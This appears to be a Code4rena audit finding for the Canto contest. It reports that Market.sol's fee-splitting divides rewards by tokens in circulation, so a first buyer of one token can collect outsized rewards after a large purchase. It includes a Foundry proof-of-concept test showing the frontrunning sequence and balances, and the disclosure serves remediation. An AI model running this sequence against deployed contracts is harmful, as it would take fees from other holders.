Lucene search

K
code423n4Code4renaCODE423N4:2023-11-CANTO-FINDINGS-ISSUES-455
HistoryNov 17, 2023 - 12:00 a.m.

buggy reward calculation

2023-11-1700:00:00
Code4rena
github.com
5
vulnerability
reward calculation
market.sol
unfair rewards
frontrunning
attack vector
inflation
proof of concept
mitigation steps
math

AI Score

6.9

Confidence

Low

Lines of code

Vulnerability details

Impact

This is very similar to an inflation attack. Rewards increase whenever _splitFees() is being called which is anywhere (buy/sell/mint/burn). The calculation is done like this: shareData[_id].shareHolderRewardsPerTokenScaled += (shareHolderFee * 1e18) / _tokenCount;. Where _tokenCount == shareData[_id].tokensInCirculation.

This introduces an attack vector where:

  • An attacker is the first to buy with 1.
  • After a large number of operations or a huge buy from a whale, attacker collect the rewards.
  • He ends up with a tremendous amount that does not make sense.

Looking at the poc’s result, 1100000000000000.0 asD were spend to buy 1. 10727884203516711960528-1e18 =
1.0726884203516712e+22 asD was collected. This is 9751712.9 times the initial buy. This clearly does not make sense. The whale that made the big buy is the one that lost a huge amount of money in fees. Attacker comes out with a very large profit by frontrunning as the first buy.

Proof of Concept

Add the poc to Market.t.sol:

    function testUnfairRewards() public {
        address dummy = makeAddr("dummy");
        address x = makeAddr("x");
        testCreateNewShare();

        deal(address(token), dummy, 1_000_000_000e18);
        deal(address(token), x, 1e18);

        // x will buy
        vm.startPrank(x);
        token.approve(address(market), type(uint256).max);
        market.buy(1, 1);
        vm.stopPrank();

        console.log("balance x 1", token.balanceOf(x));
        // balance x 1 998900000000000000

        // big purchase refill rewards
        vm.startPrank(dummy);
        token.approve(address(market), type(uint256).max);
        market.buy(1, 100_000);
        vm.stopPrank();

        // collect fees
        vm.startPrank(x);
        market.claimHolderFee(1);
        console.log("balance x 2", token.balanceOf(x));
        // balance x 2 10727884203516711960528
        vm.stopPrank();
    }

Tools Used

Manual Review.

Recommended Mitigation Steps

Change the reward model.

Assessed type

Math


The text was updated successfully, but these errors were encountered:

All reactions

AI Score

6.9

Confidence

Low